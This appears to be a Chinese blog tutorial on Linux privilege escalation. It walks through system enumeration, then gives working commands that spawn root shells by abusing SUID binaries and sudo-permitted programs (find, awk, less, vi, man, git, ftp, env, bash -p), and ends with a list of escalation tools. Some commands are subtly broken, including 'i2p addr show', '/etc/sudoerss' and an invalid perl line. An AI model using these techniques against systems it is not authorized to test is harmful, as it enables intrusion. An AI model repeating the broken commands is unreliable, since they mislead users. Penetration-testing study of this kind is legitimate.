实战权限提升手册

Yikjiang2025-04-03文章来源:SecHub网络安全社区


信息收集

提权过程中的信息收集相当于是一个手动枚举的过程, 涉及对系统配置和服务信息进行详细的查看和收集, 在此过程中, 往往需要记录尽可能多的信息, 其中有些看似不重要的信息即使现在用不到, 在后期往往能提供非常有价值的灵感和思路。

查看系统内核版本

如果发现具有可用漏洞的内核版本, 则可以使用它来获取root shell, 可以使用以下命令查看内核版本:

uname -r

1716221066070194b2d4676af4be5951b071681425d30.png

如果安装了LSB模块, 则可以使用命令查看Linux版本, 命令如下:

lsb_release -a

17162211340675424acb31f5b425dac8c670a541c8b4c.png

假如没有该命令, 可以使用以下命令查看:

cat /proc/version

17162211991163359c91f1e9d4b208d8e7ae1fc6f518e.png

Sudo版本

跟内核版本一样, sudo版本也可能受到攻击, 可以使用以下命令查看

sudo -V

17162212912776d82cfcf93de4ecd986156048d2019a3.png

历史记录

使用history命令可以查看系统曾经运行的命令历史记录, 在这个过程中往往能够找到一些有价值的信息,例如:系统密码,如图:

ImageWaterMark_V1.png

计划任务

可以使用命令查看系统中间隔时间运行的程序, 在这个过程中可能会发现一些意外的信息,如图:

cat /etc/crontab

1716221437716cf6f5952575c4184b45b4bfbf76572c1.png

Sudo信息

在Linux权限提升过程中, 查看用户当前拥有的sudo权限, 可以提示我可能使用sudo能够运行某些命令, 输入以下命令:

sudo -l

1716221517394fa659f5735fd4576af032da570ac2e06.png

检查身份

可以直接使用id命令查看当前用户属于哪些组, 如图:

id

1716221572078f3c1b68b3f2f4919aef85014d941808d.png

检查网络信息

查看网络信息可以为下一步行动提供丰富的信息,例如: 路由信息、IP地址等, 根据这些信息对于之后理清整个网络拓扑结构非常有帮助, 命令执行结果如下:

ifconfig

ifconfig命令用于显示或配置网络接口的状态(已被ip命令取代,但仍然常用)。

ifconfig

1716221859193204554f8cde14f4d9169599e679cee5b.png

ip

ip命令是一个更强大的工具,用于查看和配置网络接口、路由等。

查看网络接口

i2p addr show
ip a

1716221628581754f1a90f73d4478b97c62f9f7f4926e.png

查看路由表

ip route show

17162219770809378e0d9416d4e29b9a895746e82ee89.png

netstat

netstat命令用于显示网络连接、路由表、接口统计信息、伪装连接等(已被ss命令取代,但仍然常用)。

显示所有连接和监听端口

netstat -pantu

171622205879643080fab57b74cb48fdb090828c0dfb6.png

ss

ss命令是netstat的现代替代品,用于显示网络连接、监听端口等。

ss -tuln

17162221702785c30216b4a6044edac97f2580a603d9d.png

ping

ping命令用于检查网络连通性。

ping www.baidu.com

1716222223172a4cfac667655458699eef0e62807b25b.png

traceroute

traceroute命令用于跟踪数据包到达目的地的路径。

traceroute www.baidu.com

171622239963758c58172350943b7a94b39dc4779faef.png

dig

用于查询dns记录

dig www.baidu.com

17162224570818727113cf6854a28adbd89ee18a72c81.png

host

host命令用于DNS查询,查询指定域名的IP地址:

host www.baidu.com

17162225296107a81d919e1164079a5c3ac5f0cbcb466.png

nslookup

用于DNS查询

nslookup www.baidu.com

1716222603278585d8540631c4b64a0d2528851eb2c6c.png

route

route命令用于显示或修改IP路由表。

route -n

1716222676673dcb4b2d1172340bcb38859d70dba8a53.png

iptables

iptables命令用于配置Linux内核防火墙。

查看当前防火墙规则:

iptables -L

17162227448276a0fd8b2c0e641e792a880eeff319c6c.png

curl

curl命令用于从命令行发出HTTP请求。

获取网页内容:

    curl www.baidu.com

weget

wget命令用于从命令行下载文件。

下载文件:

wget http://example.com/file

arp

arp命令用于显示和修改IP到MAC地址的映射表。

显示ARP缓存:

arp -a

17162228941640bf30c8c82b04da98aaa61619c1bed34.png

tcpdump

tcpdump命令用于捕获和分析网络数据包。

捕获接口eth0上的所有数据包:

tcpdump -i eth0
tcpdump -i eth0 -w capture.pcap

提权手法

利用SUID提权

基础概念

定义

具有suid权限的文件在执行时,可以使调用者暂时获得该文件拥有者的执行权限,也就是说,具有suid权限的属于root用户的文件,在执行时,不管你当前是不是root用户,都可以以root权限执行,利用这个特性,我们就可以找一些具有suid权限切可以执行我们自定义命令的程序进行提权。

原理

设置SUID位的文件在执行时,进程会以文件所有者的身份运行,而不是执行者的身份

设置方法

首先,查找 find 命令的路径。你可以使用 which 命令来找到它:

which find

接下来,使用 ls 命令来查看 find 命令的权限和所属用户和组:

ls -l /usr/bin/find

使用 chmod 命令添加 SUID 权限。假设 find 命令的路径是 /usr/bin/find,你可以这样做

chmod u+s /usr/bin/find

通常Linux系统文件及目录最常见的三种权限为:可读权限®,可写权限(w)和可执行权限(x)。有时我们会发现有些文件或者目录的所属主的权限会带s标识。当s这个标志出现在文件所有者的x权限上时,如/usr/bin/passwd文件的权限状态:“-rwsr-xr-x.”,此时就被称为Set UID,简称为SUID权限

17162150477983d4a8a282e744c89b532a093c8ae24f6.png

手动查看有suid权限的程序

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print  2>/dev/null

1716202518746d112183606e2416b91285e221ca4c68c.png

可以用来提权的命令

Nmap
Vim
find
Bash
More
Less
Nano
cp

Find提权

touch pentestlab
find pentestlab -exec whoami \;

1716207778880fb07265d12594701be768a0939766e6f.png

Bash提权

bash -p

more/less

less /etc/passwd
!/bin/bash

SUDO提权

基础概念

定义

sudo是一个用于在用户会话期间临时提升权限的工具。它允许被授权的用户以另一个用户(通常是root)的身份执行命令,而无需共享密码。

sudo常用于系统管理任务,允许用户在不需要共享root密码的情况下执行特权命令。适合需要临时提升权限的操作,例如安装软件、修改系统配置等。

原理

用户使用sudo命令前,需要在/etc/sudoers文件中被授权。执行命令时,系统会提示用户输入自己的密码(而不是目标用户的密码),并记录操作日志。

设置方法

使用visudo命令编辑/etc/sudoers文件来配置权限。例如,给用户username授予所有权限:

username ALL=(ALL) ALL

基础语法

user    host=(runas_user) command

user: 要赋予权限的用户名。

host: 可以执行命令的主机,一般使用ALL。

runas_user: 可以以哪个用户身份运行命令,通常是ALL或root。

command: 允许执行的命令,使用绝对路径,可以使用ALL表示所有命令。

例一:给用户username授予所有权限

这个配置允许用户username在所有主机上,以任何用户身份运行所有命令。

username ALL=(ALL) ALL

例二:限制用户只能执行特定命令

只允许用户username执行/usr/bin/apt-get命令:

username ALL=(ALL) /usr/bin/apt-get

例三:允许用户执行命令而不提示输入密码

在上述基础上,添加NOPASSWD:

username ALL=(ALL) NOPASSWD: /usr/bin/apt-get

例四:配置用户组权限

可以给整个用户组赋予权限。例如,允许admin组的所有用户以root身份执行所有命令(这里,%admin表示用户组admin。):

%admin ALL=(ALL) ALL

验证

配置完成后,可以通过以下命令验证用户是否具有期望的sudo权限:

sudo -l -U username

实战

可以使用sudo -l来查看当前用户具有哪些sudo权限

1716210712339353d88a40ced4e27820214160eeeada1.png

在实战中,目标可能会给普通用户分配sudo权限,可能是 ALL=(ALL:ALL) ALL ,也可能是针对某个命令可

以使用sudo权限,如 ALL(ALL:ALL) /usr/bin/find

这种sudo提权的方式就和suid提权的方式有点相识,但是使用sudo提权需要两个必备条件

  • 知道当前用户的密码
  • 有sudo权限执行任意命令,或者sudo可以执行特定可以提权的命令,如果sudo可以执行任何命令,那么我们可以直接 sudo bash 获取root权限的shell,如果不能,需要查看/etc/sudoers配置文件中可以执行哪些命令。

我们创建一个账号test2,设置以下权限

useradd test2
passwd test2
chsh -s /bin/bash test2
vi /etc/sudoerss
a 插入
:wq!
test2 ALL=(ALL:ALL) /usr/bin/find,/usr/bin/perl,/usr/bin/python3,/usr/bin/less,/usr/bin/awk,/usr/bin/man,/usr/bin/vi

1716211709716e956162e0ae64ed8a2db4faabc74f302.png

Find提权

sudo find /home -exec whoami \; ,可以看到获得的是root用户

sudo find / -exec "/bin/bash" \; 或者直接调用bash来获取shell

1716210593519ed16d98972c043f4a6e9a16acaa0d8a4.png

171621061206731d90e28f0e0406cb2737b2a7ee8c435.png

perl提权

e参数用来指定要运行的命令,然后使用linux的exec参数来调用bash。

sudo perl -e '-exec "/bin/bash";'

17162135191035987d644c5734a348098197546e31d77.png

less提权

输入sudo less 命令浏览文件内容时,到底部输入!bash后回车,会获得一个root权限的shell。

sudo less /etc/passwd

1716213604988a9028bc0e3f94d88922268bf9580d43c.png

awk提权

通过调用linux的system函数来打开bash。

sudo awk 'BEGIN {system("/bin/bash")}'

1716213685975417139eb8f324c599b72c1b86fe4da99.png

man提权

通过sudo man man命令来打开man的使用手册,同时会进入编辑行,输入!bash回车,可获取root权限。

1716213751306768226e967d14f328766fe9ddf331028.png

171621379891354615662a1ef4ac98913053847c4ac04.png

Vi提权

sudo vi会进入vi默认页,输入:!bash回车,可进入root命令行。

1716213864415fb64a73951ce4bfa99bae407c0bd2f7e.png

1716213888119963e2d08bc7c4b2cbbe5cb0081892076.png

Su&Bash提权

如果对普通用户的限制不严格,或者配置权限过大时,就可以通过sudo su切换到root权限。

17162108587398cfcfea913f84ca6a6916946086b0ee1.png

或者执行sudo bash

171621090315877918d0baed049919109134340c75914.png

git提权

当sudo允许执行git命令时,可以利用git提权。

sudo git help config
!/bin/bash

1716211214834b9f2fb85354445058359a0a1f7ecd796.png

sudo git -p help
!/bin/bash

1716211118435769639dcc39b4cae87145e2ea59a1202.png

ftp

进入ftp,输入!/bin/bash来获取Root权限

sudo ftp

1716214390293a4d0215ba7b5404b833b7fb0d490600d.png

env提权-应用程序

通过env环境变量来获取root权限。

sudo env /bin/bash

171621430232610b265ffec494907a0ce603f0a096eed.png

工具介绍

1、LinEnum

https://github.com/rebootuser/LinEnum
可以对linux主机进行一个综合信息探测,扫描linux上是否存在配置问题可以利用,
LinEnum收集的信息包括:用户账户、文件权限、活动进程、已安装的软件包、网络配置、计划任务、系统日志、版本信息等。

2、linux-exploit-suggester.sh

https://github.com/The-Z-Labs/linux-exploit-suggester
漏扫脚本,查看是否有可以利用的漏洞

3、Linux Exploit Suggester 2

https://github.com/jondonas/linux-exploit-suggester-2
漏扫脚本,查看是否有可以利用的漏洞

4、traitor

https://github.com/liamg/traitor
自动化探测漏洞并且尝试提权工具,也会进行一些信息收集,但是漏洞库数量较少
不带参数运行寻找可能存在的漏洞
带-a参数运行寻找漏洞并尝试执行,如果已知当前用户密码可以加-p参数

5、beroot

https://github.com/AlessandroZ/BeRoot
BeRoot是一个后期开发工具,用于检查常见的Windows的配置错误,
以方便找到提高我们提权的方法。